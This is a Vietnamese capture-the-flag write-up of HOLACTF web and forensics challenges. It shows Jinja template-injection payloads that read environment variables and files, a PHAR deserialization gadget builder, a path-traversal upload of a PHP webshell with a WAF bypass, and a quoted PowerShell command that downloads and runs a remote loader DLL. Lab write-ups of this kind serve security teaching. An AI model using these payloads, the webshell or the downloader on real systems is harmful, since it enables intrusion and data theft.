preimage: _snrlo>.__)_>d.5pe)(_n_.(_o)}i_bes(ii_b_]rd)(a}ca_)s>)et).(5)ldnr3t_e3nns3_s3___.3((({_d.d(t_)__d<_e]ae(.o)i2.)_.r_il__)p_(l)o](pr(de((e_5r_i_mnno_a_{_)o._pd_s_e<a)ro).]ersd_.s]_an.__r([n3]_guip.[[()s[2<.-3t_.pi[____1]a[)(_a31_g(_rl3t))(ci_()2._dgd_(_)sr.[__n__
<i>No magic name <module 'os' (frozen)> here, try again!</i>
```
4. Đọc `ENV`:
```powershell
# {{(session.__init__.__globals__.t.__dict__[(((3>5)and(2<3)).__repr__()[3]).__add__(session.__init__.__globals__.t.__spec__.origin[-1]).__add__(((3>5)and(2<3)).__repr__()[3])]).modules[((none.__repr__())[1]).__add__((((3>5)and(2<3)).__repr__()[3]))].environ.__repr__()}}
PS C:\Users\biscuit\Downloads\magic_random> & C:/Users/biscuit/AppData/Local/Microsoft/WindowsApps/python3.10.exe c:/Users/biscuit/Downloads/magic_random/exploit1.py --expr "{{(session.__init__.__globals__.t.__dict__[(((3>5)and(2<3)).__repr__()[3]).__add__(session.__init__.__globals__.t.__spec__.origin[-1]).__add__(((3>5)and(2<3)).__repr__()[3])]).modules[((none.__repr__())[1]).__add__((((3>5)and(2<3)).__repr__()[3]))].environ.__repr__()}}"
preimage: e(._.[_e_v-s2s_3g]e_o.e___.)})_.ri)sl3b.ea_))p}l)pa_(__n[_nret3))i_tr(_(tids_.smlra.s)__c__.2..n{3_((__i(>>ep(ipnl)nrs]]d[o_()__r)3())_[5__donnr).2<._)_{o.(a_(rta3_)(31(e__d(]t_i>e_[..(e3_3).s___(pa_[r_(5_oi]n._dpd1e.__b_dn]_r(n)5is]_so_n)(d<(c<dlr(_odad_r__i))[ounggai
<i>No magic name environ({'KUBERNETES_SERVICE_PORT': '443', 'KUBERNETES_PORT': 'tcp://10.100.0.1:443', 'HOSTNAME': 'magic-random-ea5710c0c1194be0', 'PYTHON_PIP_VERSION': '24.0', 'SHLVL': '1', 'HOME': '/app', 'GPG_KEY': '7169605F62C751356D054A26A821E680E5FA6305', 'PYTHON_GET_PIP_URL': 'https://github.com/pypa/get-pip/raw/dbf0c85f76fb6e1ab42aa672ffca6f0a675d9ee4/public/get-pip.py', 'KUBERNETES_PORT_443_TCP_ADDR': '10.100.0.1', 'PATH': '/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', 'KUBERNETES_PORT_443_TCP_PORT': '443', 'KUBERNETES_PORT_443_TCP_PROTO': 'tcp', 'LANG': 'C.UTF-8', 'PYTHON_VERSION': '3.12.2', 'KUBERNETES_SERVICE_PORT_HTTPS': '443', 'KUBERNETES_PORT_443_TCP': 'tcp://10.100.0.1:443', 'KUBERNETES_SERVICE_HOST': '10.100.0.1', 'PWD': '/app', 'PYTHON_GET_PIP_SHA256': 'dfe9fd5c28dc98b5ac17979a953ea550cec37ae1b47a5116007395bfacff2ab9', 'GZCTF_TEAM_ID': '1250', 'WERKZEUG_SERVER_FD': '3'}) here, try again!</i>
```
5. Liệt kê các file có trong `/app`:
```powershell
# {{(session.__init__.__globals__.t.__dict__[(((3>5)and(2<3)).__repr__()[3]).__add__(session.__init__.__globals__.t.__spec__.origin[-1]).__add__(((3>5)and(2<3)).__repr__()[3])]).modules[(none.__repr__())[1].__add__(((3>5)and(2<3)).__repr__()[3])].listdir((session.__init__.__globals__.__spec__.origin)[0].__add__(((3>5)and(2<3)).__repr__()[1]).__add__((session.__init__.__globals__.__spec__.origin)[-2]).__add__((session.__init__.__globals__.__spec__.origin)[-2]))}}
PS C:\Users\biscuit\Downloads\magic_random> & C:/Users/biscuit/AppData/Local/Microsoft/WindowsApps/python3.10.exe c:/Users/biscuit/Downloads/magic_random/exploit1.py --expr "{{(session.__init__.__globals__.t.__dict__[(((3>5)and(2<3)).__repr__()[3]).__add__(session.__init__.__globals__.t.__spec__.origin[-1]).__add__(((3>5)and(2<3)).__repr__()[3])]).modules[(none.__repr__())[1].__add__(((3>5)and(2<3)).__repr__()[3])].listdir((session.__init__.__globals__.__spec__.origin)[0].__add__(((3>5)and(2<3)).__repr__()[1]).__add__((session.__init__.__globals__.__spec__.origin)[-2]).__add__((session.__init__.__globals__.__spec__.origin)[-2]))}}"
preimage: d_0[a(>(n_>]._gi.i_35r___1<t)).(_aa>itd_{_d]tn)_<n)_.._5<)nar3_(r()__sbt_gstl.e_(p[_i.[.ili[)__l3_es)(g_rmsr.p_1sg2s(n_e__.__e_.rn(._3._poe[(___{(n_(dpd(gdn(iie5_a.d5ol__s(i)d3[.]_)]se22__[as3_a___de.._ionco_ssood__n_))esr).)oiadod]_b>_ip_[_(p)lt3.no_ari-ceb_n_s((_.d__t(o___.__l]at._iln_ii_i_e)d.csess)))(_b)_os)3___rt_)13))i_.nr2o_o]r_l_a[_idn(r_esg.s(ai_d_u(i..r_idls_sbi(3)_gno2]op))(2o_.]il___)ss](p_.-ec_p..en<_)(i)n_cs__-.._]_e}._ga3a}(ndnl[[_ir(_rag(sld__s
<i>No magic name ['flag_3i3Bqp92KMSCXkT.txt', 'static', 'templates', 'app.py'] here, try again!</i>
```
6. Đọc file flag trong `/app`:
```powershell
# {{(session.__init__.__globals__.t.__dict__[(((3>5)and(2<3)).__repr__()[3]).__add__(session.__init__.__globals__.t.__spec__.origin[-1]).__add__(((3>5)and(2<3)).__repr__()[3])]).modules[(none.__repr__())[1].__add__(((3>5)and(2<3)).__repr__()[3])].read((session.__init__.__globals__.t.__dict__[(((3>5)and(2<3)).__repr__()[3]).__add__(session.__init__.__globals__.t.__spec__.origin[-1]).__add__(((3>5)and(2<3)).__repr__()[3])]).modules[(none.__repr__())[1].__add__(((3>5)and(2<3)).__repr__()[3])].open(((session.__init__.__globals__.__spec__.origin)[0].__add__(((3>5)and(2<3)).__repr__()[1]).__add__((session.__init__.__globals__.__spec__.origin)[-2]).__add__((session.__init__.__globals__.__spec__.origin)[-2])).__add__((session.__init__.__globals__.__spec__.origin)[0]).__add__((session.__init__.__globals__.t.__dict__[(((3>5)and(2<3)).__repr__()[3]).__add__(session.__init__.__globals__.t.__spec__.origin[-1]).__add__(((3>5)and(2<3)).__repr__()[3])]).modules[(none.__repr__())[1].__add__(((3>5)and(2<3)).__repr__()[3])].listdir((session.__init__.__globals__.__spec__.origin)[0].__add__(((3>5)and(2<3)).__repr__()[1]).__add__((session.__init__.__globals__.__spec__.origin)[-2]).__add__((session.__init__.__globals__.__spec__.origin)[-2]))[0]),(session.__init__.__globals__.t.__dict__[(((3>5)and(2<3)).__repr__()[3]).__add__(session.__init__.__globals__.t.__spec__.origin[-1]).__add__(((3>5)and(2<3)).__repr__()[3])]).modules[(none.__repr__())[1].__add__(((3>5)and(2<3)).__repr__()[3])].O_RDONLY),8192)}}
PS C:\Users\biscuit\Downloads\magic_random> & C:/Users/biscuit/AppData/Local/Microsoft/WindowsApps/python3.10.exe c:/Users/biscuit/Downloads/magic_random/exploit1.py --expr "{{(session.__init__.__globals__.t.__dict__[(((3>5)and(2<3)).__repr__()[3]).__add__(session.__init__.__globals__.t.__spec__.origin[-1]).__add__(((3>5)and(2<3)).__repr__()[3])]).modules[(none.__repr__())[1].__add__(((3>5)and(2<3)).__repr__()[3])].read((session.__init__.__globals__.t.__dict__[(((3>5)and(2<3)).__repr__()[3]).__add__(session.__init__.__globals__.t.__spec__.origin[-1]).__add__(((3>5)and(2<3)).__repr__()[3])]).modules[(none.__repr__())[1].__add__(((3>5)and(2<3)).__repr__()[3])].open(((session.__init__.__globals__.__spec__.origin)[0].__add__(((3>5)and(2<3)).__repr__()[1]).__add__((session.__init__.__globals__.__spec__.origin)[-2]).__add__((session.__init__.__globals__.__spec__.origin)[-2])).__add__((session.__init__.__globals__.__spec__.origin)[0]).__add__((session.__init__.__globals__.t.__dict__[(((3>5)and(2<3)).__repr__()[3]).__add__(session.__init__.__globals__.t.__spec__.origin[-1]).__add__(((3>5)and(2<3)).__repr__()[3])]).modules[(none.__repr__())[1].__add__(((3>5)and(2<3)).__repr__()[3])].listdir((session.__init__.__globals__.__spec__.origin)[0].__add__(((3>5)and(2<3)).__repr__()[1]).__add__((session.__init__.__globals__.__spec__.origin)[-2]).__add__((session.__init__.__globals__.__spec__.origin)[-2]))[0]),(session.__init__.__globals__.t.__dict__[(((3>5)and(2<3)).__repr__()[3]).__add__(session.__init__.__globals__.t.__spec__.origin[-1]).__add__(((3>5)and(2<3)).__repr__()[3])]).modules[(none.__repr__())[1].__add__(((3>5)and(2<3)).__repr__()[3])].O_RDONLY),8192)}}"
preimage: _s[_3a()_3o(e)(n_.l()cn)ac_n_p.l2)s__.as__0nl__t2__-_]de__[_i_{ar_l_3_(d(N_irp<s(_i[.ssne_]_.__r<-ll()l3n).o(og.()t}de(_3<[(oe)]_r_3[___g_1_igb3r2abr3)r_._.elo(se)]3_dc()])))n)it]cro_i)pn}t5tnn_(__d_s)rs___][_idn.cp.d)a__rnua_a_)_o_sst])_(.dee<n__s.o3_p)b)_i_((i_o3_l__[_oia__i3_ad(<s._l.io<d(_(rt1[lnno)s>i.o(s(()_))s(.dr_)R).r_i].i[..._mgl_i[._9g_(1s_psno)g)[())t_n3._1.((b_oo-ti_)__(earpn))_(ede3_(sa[][]s._(ap].cds_>op__)_gi.b_(()Yg.i_<_r_pi_)cple(]2sd{_o>di)_a_l2lrad<_ps_o(e.on3g__d__o[_is)(_(__(us__-p_b_(()_,_3]elgngral5gg___]>idrin_.pr3)a]_(s3.sd><abd_sidsn[dse5_o__o_(e.(5._e_i___n)((r_agd___)_n).___r_2easie.o_._(_.)s((.8emb__u__]__)_[gidl_ge_e()n.r_a2_ed_a]_3s_lcbt_(3[(p.[.o_e_sg_nn.2s__o_s_.ea__rn0_]d__(endo_3_epor-e).s_r>as2i_ds_rrisiei_asa__to_],_ip_i).d[2]n)(5rnroi._ls(__ei_3()d.___n__s.r)_b_r_c(pc>1(_).._r[_)s.t(___n[toi)[.0)(i3__i)is_ii(a_e_.0i__ii(._oa.r.)._s_._._i_(3(_.e_(ie)sngn(i_>a3.[__1r(.ot.n[]-a___ai_n_)nni..dl__[i.sin)lp])i5pn(_3.nmp3(t__5oe2_css]_>o(_.1diobsr_(n(si_lr._sl_(e[db.enppd(_rnrddp())_n.)_)ae_a]ep)<).__p[-a3oeeaas2)o_s__s>p5s.[snd_>t_._(e.n)a5t[ai))io>s2_5______i_<o.d3.)i..i___d(n_)lb3_.(d)_o)_o_e.[().(a]3_s_nee.](n)ddt(.2._[sd_<3r-_onc(ngrt]O__i5_ri_o_da()igcp_<n2i3aot.l<____dasg.)en(ct(s[g)dL(o]eie.gp).n___l[t[ugdd1oi.)dl_tsrd(ir)5]_.e_atgda_(_ri_.rg)t_d]O_(___[__[(___d.ea._sn]_d((3_]2_.])l.)abs2[(os5m_)i__s].lnr__n3(1_)13(_)3)(i_l_.ediic_)3Dd2e_asta_dd_s_nl]r._oo)st_._.2s___.sp]l_3[1s.()__r___s..ia(nn5>)n_.)d().._ld)d.ad(_3]e)s(nd)t___>)be_drl_
<i>No magic name b'HOLACTF{cRea73_YoUr_MA6iC_27cbffcbaedd}}\n' here, try again!</i>
```
`FLAG: HOLACTF{cRea73_YoUr_MA6iC_27cbffcbaedd}`
### WEB - hell_ehc
```text
Author
perrito
Description
Boring fact: The original name of this challenge is your PHARts stinks.
```
Bài này sẽ khai thác đọc `HOLACTF{...}` bằng cách lợi dụng việc `unserialize()` cookie và việc gọi `md5_file()` trên đường dẫn `phar://`.
#### Tổng quan
- Web xử lý cookie `user` bằng `unserialize()` với `allowed_classes=['User','LogFile']`.
`home.php`
```php
$info = unserialize(base64_decode($_COOKIE['user']), ['allowed_classes' => ['User', 'LogFile']]);
```
`view_avatars.php`
```php
$info = unserialize(base64_decode($_COOKIE['user']), ['allowed_classes' => ['User', 'LogFile']]);
```
`upload.php`
```php
$info = unserialize(base64_decode($_COOKIE['user']), ['allowed_classes' => ['User', 'LogFile']]);
```
- Class `LogFile` có `__destruct()` gọi `md5_file($this->filename)`.
`LogAndCheck.php`
```php
class LogFile
{
public $filename;
public function __destruct()
{
return md5_file($this->filename);
}
}
```
- Khi `md5_file()` mở một đường dẫn `phar://…`, PHP **unserialize metadata** trong PHAR. Bước này **không bị** `allowed_classes` giới hạn.
- Đặt một object “gadget” trong metadata (ví dụ `Logger` có `__destruct()` ghi dữ liệu vào file công khai).
`LogAndCheck.php` (sẵn class `Logger` trong app, phục vụ gadget)
```php
class Logger
{
public function __destruct()
{
...
```
- Ghi PHP vào `logMD5.php`, sau đó truy cập file để `readfile('/flag.txt')`.
Hàm log sẵn có của ứng dụng:
`LogAndCheck.php`
```php
function checkMd5AndLog($md5Hash)
{
if (strlen($md5Hash) !== 32 || !ctype_xdigit($md5Hash)) {
return;
}
$file = 'logMD5.php';
if (!file_exists($file)) {
touch($file);
}
$entry = $md5Hash . PHP_EOL;
file_put_contents($file, $entry, FILE_APPEND);
}
```
Điểm ghi MD5 vào log:
`upload.php`
```php
if (move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file)) {
$getMD5 = md5_file($target_file);
checkMd5AndLog($getMD5);
$conn->updateAvatar($username, $fileName);
header('Location: /?page=home');
}
```
Cookie định dạng `base64(serialize($user))`:
`login.php`
```php
$data = base64_encode(serialize($user));
header("Set-Cookie: user=$data");
header("Location: /?page=home");
```
---
#### Chuỗi khai thác
1. Đăng ký và đăng nhập để có thư mục `upload/testq/`.
2. Tạo **PHAR–GIF polyglot**. Metadata chứa object `Logger` sao cho destructor append PHP vào `logMD5.php`.
3. Upload `avatar.gif` vào `upload/testq/avatar.gif`.
4. Tạo cookie `user` là object `LogFile` trỏ tới `phar://upload/testq/avatar.gif/a`.
5. Gọi trang có `unserialize(cookie)` để kích hoạt:
- `LogFile->__destruct()` → `md5_file('phar://…')` → parse PHAR → **unserialize metadata**.
- `Logger->__destruct()` chạy và **append** PHP vào `logMD5.php`.
6. Truy cập `logMD5.php` để in flag.
#### Tạo PHAR–GIF polyglot
```php
<?php
class Logger { public $logs; public $request; }
$payload = new Logger();
$payload->logs = 'logMD5.php';
$payload->request = '<?php readfile("/flag.txt"); ?>';
@unlink('p.phar');
$phar = new Phar('p.phar');
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($payload);
$phar->addFromString('a', 'x');
$phar->stopBuffering();
rename('p.phar','avatar.gif');
```
```
php -d phar.readonly=0 build_phar.php
```
Upload file avatar: `avatar.gif`
#### Tạo cookie
```bash
PS C:\Users\biscuit\Desktop> $phar = 'phar://upload/testq/avatar.gif/a'
PS C:\Users\biscuit\Desktop> $len = [Text.Encoding]::UTF8.GetByteCount($phar)
PS C:\Users\biscuit\Desktop> $ser = 'O:7:"LogFile":1:{s:8:"filename";s:' + $len + ':"' + $phar + '";}'
PS C:\Users\biscuit\Desktop> $cookie = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($ser))
PS C:\Users\biscuit\Desktop> & "$env:SystemRoot\System32\curl.exe" -s `
>> -H "Cookie: user=$cookie" `
>> "http://127.0.0.1:59925/?page=view_avatars"
PS C:\Users\biscuit\Desktop> Invoke-WebRequest -UseBasicParsing `
>> -Uri "http://127.0.0.1:59925/?page=view_avatars" `
>> -Headers @{ Cookie = "user=$cookie" }
StatusCode : 200
StatusDescription : OK
Content :
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title> Login </title>
<style>...
RawContent : HTTP/1.1 200 OK
Transfer-Encoding: chunked
Connection: keep-alive
Content-Type: text/html; charset=UTF-8
Date: Sat, 30 Aug 2025 05:55:40 GMT
Server: nginx
X-Powered-By: PHP/7.4.0
<!DOCTYP...
Forms :
Headers : {[Transfer-Encoding, chunked], [Connection, keep-alive], [Content-Type, text/html; charset=UTF-8], [Date, Sat,
30 Aug 2025 05:55:40 GMT]...}
Images : {}
InputFields : {}
Links : {@{outerHTML=<a href="/?page=register">Register now</a>; tagName=A; href=/?page=register}}
ParsedHtml :
RawContentLength : 3513
```
#### Flag
```powershell
PS C:\Users\biscuit\Desktop> & "$env:SystemRoot\System32\curl.exe" -s "http://127.0.0.1:59925/logMD5.php"
01865ef3919e542a1a0fdc04313a5433
d304cc0f95860c2799b0a4e91b467f68
0764f8c8d680bb675f87e3f1a892a4b8
eccfb18a53ac83c6a4560d3fb7a21c30
eccde4803614947511bd1af76d1930e6
63a4ecf57394c8e85ecc817941453343
HOLACTF{I_love_EHCCCCC_cdfdcc941c4f}
PS C:\Users\biscuit\Desktop>
```
`FLAG: HOLACTF{I_love_EHCCCCC_cdfdcc941c4f}`
### WEB - another_hell_ehc
```text
Author
perrito
Description
I just create a new challenge with the same source code because i'm too lazy :((
```
#### Username có thể traversal để ghi ra docroot
`login.php` đặt `$_SESSION["username"]` từ input, chỉ strip tags. Không chặn `../`.
```php
// login.php
$username = htmlspecialchars(strip_tags($username));
...
if ($conn->login($username, $password)) {
$_SESSION["username"] = $username;
$_SESSION["loggedin"] = true;
}
```
`upload.php` dùng trực tiếp `$_SESSION['username']` để tạo thư mục lưu file.
```php
// upload.php
$target_dir = "upload/" . $_SESSION['username'] . "/"; // <-- traversal tại đây
if (!is_dir($target_dir)) {
mkdir($target_dir, 0777, true);
}
```
→ Đặt username = `../../../../../var/www/html` sẽ khiến file được ghi vào `/var/www/html/…`.
#### Sai logic lấy đuôi file có thể dùng `.jpg.phtml`
`upload.php` lấy đuôi bằng phần tử **thứ hai** sau `.` thay vì phần tử cuối.
```php
// upload.php
$allowedExtensions = ['jpg', 'jpeg', 'png', 'gif'];
...
$fileExt = explode('.', basename($fileName))[1]; //chỉ lấy sau dấu chấm đầu tiên
if (!in_array($fileExt, $allowedExtensions)) {
exit("Sorry, your file type is not allowed.");
}
```
→ Tên `rce.jpg.phtml` cho `fileExt = 'jpg'` nên qua allowlist. File thực tế là PHP vì đuôi cuối `.phtml` vẫn được Apache parse.
#### Bypass WAF
`nginx.conf` chỉ gọi WAF khi chuỗi query chứa đúng `page=upload`. WAF chỉ gắn vào `page=upload` có thế bypass dùng `%75` :
```conf
# nginx.conf
location / {
if ($args ~ "page=upload") {
access_by_lua_file /usr/local/openresty/nginx/lua/waf.lua;
}
proxy_pass http://127.0.0.1:8080/;
}
location /upload { deny all; return 403; }
```
→ Gọi `/?page=%75pload` thì PHP decode thành `upload` nhưng Nginx không khớp regex nên WAF sẽ không hoạt động.
#### WAF có allowlist đuôi ảnh, block `.php|.phtml`
(bị vô hiệu do bypass ở bước vừa rồi)
```lua
-- waf.lua
local filename = body:match('filename="([^"]+)"')
local ext = filename:match("%.([^.]+)$") -- lấy đuôi CUỐI
local allowed = { jpg=true, jpeg=true, png=true, gif=true }
if not allowed[ext:lower()] then
ngx.status = 403
ngx.say("Blocked: file extension not allowed - " .. ext)
return ngx.exit(403)
end
```
#### Router include theo `page`
```php
// index.php
$regex="/(secret|proc|environ|access|error|\.\.|\/|,|;|[|]|\|connect)/i";
if(isset($_GET['page']) && !empty($_GET['page'])) {
if(!preg_match_all($regex,$_GET['page'])) {
// (đoạn thêm .php rồi include)
if(file_exists($page)) { include($page); }
}
} else {
header("Location: /?page=home.php");
}
```
Gọi trực tiếp `/rce.jpg.phtml` vì file đã được ghi thẳng vào docroot do trước đấy dùng path traversal.
```bash
PS C:\Users\biscuit\Desktop>
PS C:\Users\biscuit\Desktop> $BASE = 'http://127.0.0.1:63936'
PS C:\Users\biscuit\Desktop> $U = '../../../../../var/www/html' # traversal tới /var/www/html
PS C:\Users\biscuit\Desktop> $P = 'p@ssw0rd'
PS C:\Users\biscuit\Desktop> curl.exe -s -c c.txt -X POST "$BASE/?page=register" --data-urlencode "username=$U" --data-urlencode "password=$P"
PS C:\Users\biscuit\Desktop> curl.exe -s -b c.txt -c c.txt -X POST "$BASE/?page=login" --data-urlencode "username=$U" --data-urlencode "password=$P"
PS C:\Users\biscuit\Desktop> # tạo webshell
PS C:\Users\biscuit\Desktop> Set-Content -Path .\s.php -Value '<?php system($_GET["c"]); ?>' -Encoding ASCII -NoNewline
PS C:\Users\biscuit\Desktop> # upload qua đường tắt WAF: page=%75pload
PS C:\Users\biscuit\Desktop> # lấy đuôi = 'jpg'
PS C:\Users\biscuit\Desktop> curl.exe -s -b c.txt -F "avatar=@s.php;type=image/jpeg;filename=rce.jpg.phtml" "$BASE/?page=%75pload"
PS C:\Users\biscuit\Desktop> # RCE và đọc flag
PS C:\Users\biscuit\Desktop> curl.exe -G -s --data-urlencode "c=whoami" "$BASE/rce.jpg.phtml"
www-data
PS C:\Users\biscuit\Desktop> curl.exe -G -s --data-urlencode "c=cat /flag.txt" "$BASE/rce.jpg.phtml"
HOLACTF{I_really_love_EHCCCCC_b3c78f2d5c35}
PS C:\Users\biscuit\Desktop>
```
`FLAG: HOLACTF{I_really_love_EHCCCCC_b3c78f2d5c35}`
### WEB- Sanity check
```text
Author
ductohno
Description
Chào mừng bạn ghé thăm website “vibe coding” của mình! Thực ra mình dựng nó chỉ để test xem server cần oxi không thôi, nhưng ở đâu đó vẫn có vài lỗi nho nhỏ đang ẩn mình. Liệu bạn có tìm ra chúng không?
```
Mình thấy ở `/update` duyệt sẽ check valid input như sau: duyệt `for char in data['data']` rồi ép `int(char)` ∈ {0,1}. Nếu `data['data']` là dict thì vòng lặp đi qua **key**. Nên mình sẽ tạo đúng 512 key sao cho `int(key)` luôn là 0 hoặc 1, rồi gắn một value chứa `"Holactf"`. Server lưu `str(dict)` vào file nên chuỗi `"Holactf"` xuất hiện. `/get_flag` chỉ cần `"Holactf" in data` nên trả flag.
```python=17
def is_valid_input(input):
"""Check if input is valid or not"""
if input == '' or len(input) != NUMBER_OF_BITS:
return False
try:
for char in input:
if int(char) != 0 and int(char) != 1:
return False
except ValueError:
return False
return True
```
```python=75
@app.route('/update', methods=['POST'])
@is_User_Exist
def update():
try:
data = request.json
if(not is_valid_input(data['data'])):
return jsonify({'error':'Invalid input'})
save_to_file(data['data'], get_user_filename())
return jsonify({'status': 'updated', 'new_state': data['data']})
except Exception as e:
return jsonify({'error':e})
```
Script tạo `data`:
```python=1
import json
BITS = 512
HALF = BITS // 2
def zeros_block(n):
return { '0'*(i+1): 0 for i in range(n) }
def ones_block(n):
return { ('0'*i)+'1': 1 for i in range(n) }
def build():
m = zeros_block(HALF)
m.update(ones_block(HALF))
m['0'] = 'Holactf' # trigger
return {"data": m}
if __name__ == "__main__":
print(json.dumps(build()))
```

sau đó mình Intercept request để đổi `data` mình vừa gen ra:

Và access tới `/get_flag` để đọc flag:

`FLAG: HOLACTF{a_C0NciDeNT_h4pP3n_3dd3c5938c2b}`
## Forensics
### First step into forensics
Ở bài này mình được cung cấp 3 file, 1 file minidump Keepass, 1 file Keepass database, và 1 file zip có mật khẩu. Với context được cung cấp là `strings + grep`, mình đoán ngay được flow của bài này là `strings + grep` lấy pass cho file `infected.kdbx`, mở file đó lấy pass cho file zip, rồi lại `strings + grep` lấy flag trong file minidump cuối. Và đó là cách 1, cách 2 thì các bạn k cần phải `strings + grep`.
Load `infected.dmp` vào **Windbg**. Tận dụng class `KeePassLib.Security.ProtectedString`, một class chịu trách nhiệm lưu trữ mật khẩu người dùng dưới dạng bảo vệ (protected) trong KeePass.
Dùng `!dumpheap -type KeePassLib.Security.ProtectedString` để lấy địa chỉ của các object thuộc class trong memory.
```
!DumpHeap /d -mt 00007ffa49031b90
Address MT Size
0000000002dd90e0 00007ffa49031b90 40
0000000002dd9108 00007ffa49031b90 40
0000000002f7e500 00007ffa49031b90 40
Statistics:
MT Count TotalSize Class Name
00007ffa49031b90 3 120 KeePassLib.Security.ProtectedString
```
Sau đó, dùng `!DumpObj /d <address>` để dump object tại địa chỉ đó ra bao gồm class name và các variables của chúng.
```
!DumpObj /d 0000000002f7e500
Name: KeePassLib.Security.ProtectedString
MethodTable: 00007ffa49031b90
EEClass: 00007ffa48786f40
Size: 40(0x28) bytes
File: E:\KeePass Password Safe 2\KeePass.exe
Fields:
MT Field Offset Type VT Attr Value Name
00007ffa49031d00 4001383 8 ...y.ProtectedBinary 0 instance 0000000000000000 m_pbUtf8
00007ffafed507a0 4001384 10 System.String 0 instance 0000000002fba5d8 m_strPlainText
00007ffafed4c638 4001385 1c System.Boolean 1 instance 1 m_bIsProtected
00007ffafed53368 4001388 18 System.Int32 1 instance 25 m_nCachedLength
00007ffa49031b90 4001386 2660 ...y.ProtectedString 0 static 0000000002dd90e0 m_psEmpty
00007ffa49031b90 4001387 2668 ...y.ProtectedString 0 static 0000000002dd9108 m_psEmptyEx
```
Ở đây ta quan tâm đến `m_strPlainText`, đây là biến đóng vai trò giữ tham chiếu trực tiếp tới object `System.String` chứa chuỗi mật khẩu dạng plaintext mà người dùng đã nhập.
Tới đây thì chỉ cần dump object tại địa chỉ của `m_strPlaintext` ra là xong.
```
!DumpObj /d 0000000002fba5d8
Name: System.String
MethodTable: 00007ffafed507a0
EEClass: 00007ffafed04868
Size: 76(0x4c) bytes
File: C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll
String: first_stage_of_this_chall
```
Ta có được password của Keepass password database: **first_stage_of_this_chall**

Copy password có Title là `infected`, đó là password của file zip: **chaomungtoiholactf2025kekw*88***
Dùng password để unlock file zip, load file dmp vào Hxd, và tìm chuỗi `HOLACTF{`:

Flag: `HOLACTF{Oeocam_to_HolaCTF2025!!!!}`
### APT

Hiện vật là một file ad1 mở bằng FTKimage để phân tích
Ở Question 1 thì theo như mô tả nạn nhân nhận được một file nên mình có thể suy đoán người dùng nhận được mail hoặc thông qua browser thì check trong user tmp có thấy được người dùng sử dụng ThunderBird và check các mail của user thì thấy có một email nghi ngờ
>Hiện vật : %APPDATA%/Roaming/Thunderbird/Profiles/<profile>/Mail/pop.gmail.com/INBOX
[+] Phân tích file mail với thunderbird ta thấy một mail hieutrungnguyen0702@gmail.com có gửi một file cho nạn nhân đi kèm với password

Trích xuất file ra giải nén và phân tích ta thấy đây là một tệp html độc hại "diemchuan.html"

Giải mã chuỗi payload ta được một chuỗi Downloads được host trên ngrok
```
search-ms:query=Ket_Qua_Ky_Thi_THPTQG2036&crumb=location:\\5b4a29dffc4d.ngrok-free.app@SSL\DavWWWRoot\&displayname=Downloads
```
và một cái url file giff trong tag style
```
https://files.sakamoto.moe/cba5703ee7fd_word.gif
```
Kiểm tra url thì thấy đó là một ảnh chụp từ word với dòng chữ hidden content khá là bí ẩn nên tôi sẽ tiến hành check 2 domain này trong Logs windows xem có để lại manh mối nào không
Tôi đã sử dụng bộ công cụ của eric zimmerman dùng PECmd.exe cho phân tích Prefetch folder và EvtxCmd.exe cho phân tích logs và dùng TimelimeExplorer để đọc các logs trả về
Link download tools:
https://ericzimmerman.github.io/#!index.md
ở domain ngrok thì kiểm tra logs thấy được log lại trong SMBClient nhưng không có thông tin gì thêm
Nhưng ở domain sakamoto.moe thì lại thấy nhiều malicious powershell processes tương tác
Tại khung thời gian Time Created
2025-08-29 19:48:23
có một lệnh powershell giải mã payload và chạy ngay sau đó
```
powershell -EncodedCommand UABvAHcAZQByAHMASABlAEwAbAAgAC0AIgBlACIAcAAgAEIAIgB5ACIAcABhAHMAcwAgABQgVwAgAGgAIgBpAGQAZAAiAGUAbgAgABUgYwAiAE8ATQAiAG0AYQAgACcAWwBOACIAZQB0AC4AUwBlACIAcgB2ACIAaQAiAGMAZQBQACIAbwAiAGkAbgAiAHQATQAiAGEAIgBuACIAYQAiAGcAIgBlAHIAXQA6ADoAUwAiAGUAIgBjACIAdQByACIAaQAiAHQAeQBQAHIAbwAiAHQAbwAiAGMAbwAiAGwAIAA9ACAAWwBOAGUAIgB0AC4AUwAiAGUAIgBjAHUAcgBpACIAdAAiAHkAIgBQAHIAIgBvAHQAIgBvAGMAIgBvACIAbABUAHkAIgBwAGUAXQA6ADoAVAAiAGwAIgBzACIAMQAyADsAIAAkAHAAIAA9ACAASgBvACIAaQAiAG4ALQBQAGEAIgB0ACIAaAAgACQAZQBuAHYAOgBUAEUATQBQACAAIgBsAC4AZAAiAGwAIgBsACIAOwAgAGkAdwByACAAIgBoACIAdAAiAHQAIgBwACIAcwA6AC8AIgAvAGYAaQAiAGwAZQBzAC4AcwBhAGsAYQAiAG0AIgBvACIAdAAiAG8ALgBtAG8AIgBlAC8ANAAxACIAZAAiAGIAZQA3ACIAYQBjACIANwBiACIANwAzAF8AbABvAGEAZABlAHIALgBkAGwAbAAiACAALQAiAE8AIgB1ACIAdAAiAEYAIgBpACIAbABlACAAJABwADsAIABTACIAdAAiAGEAcgB0AC0AIgBQACIAcgAiAG8AYwBlACIAcwBzACAAcgB1ACIAbgAiAGQAbABsADMAIgAyACIAIAAtAEEAcgBnACIAdQAiAG0AZQAiAG4AIgB0ACIATABpACIAcwB0ACAAIgAkAHAALABSAHUAbgAiACAALQBXACIAYQAiAGkAdAA7ACAAZABlAGwAIAAkAHAAIAAtAEYAIgBvACIAcgBjAGUAJwA=
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep Bypass —W hidden ―cOMma [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $p = Join-Path $env:TEMP l.dll; iwr https://files.sakamoto.moe/41dbe7ac7b73_loader.dll -OutFile $p; Start-Process rundll32 -ArgumentList $p,Run -Wait; del $p -Force
```
truy cập url và tải file dll về check nhanh với virustotal thì đây là một trình giải mã hóa (loader) độc hại với inital access là spearphishing với subtechniques : attachment link -> T1566.001
#### Đáp án câu 1,2,3:
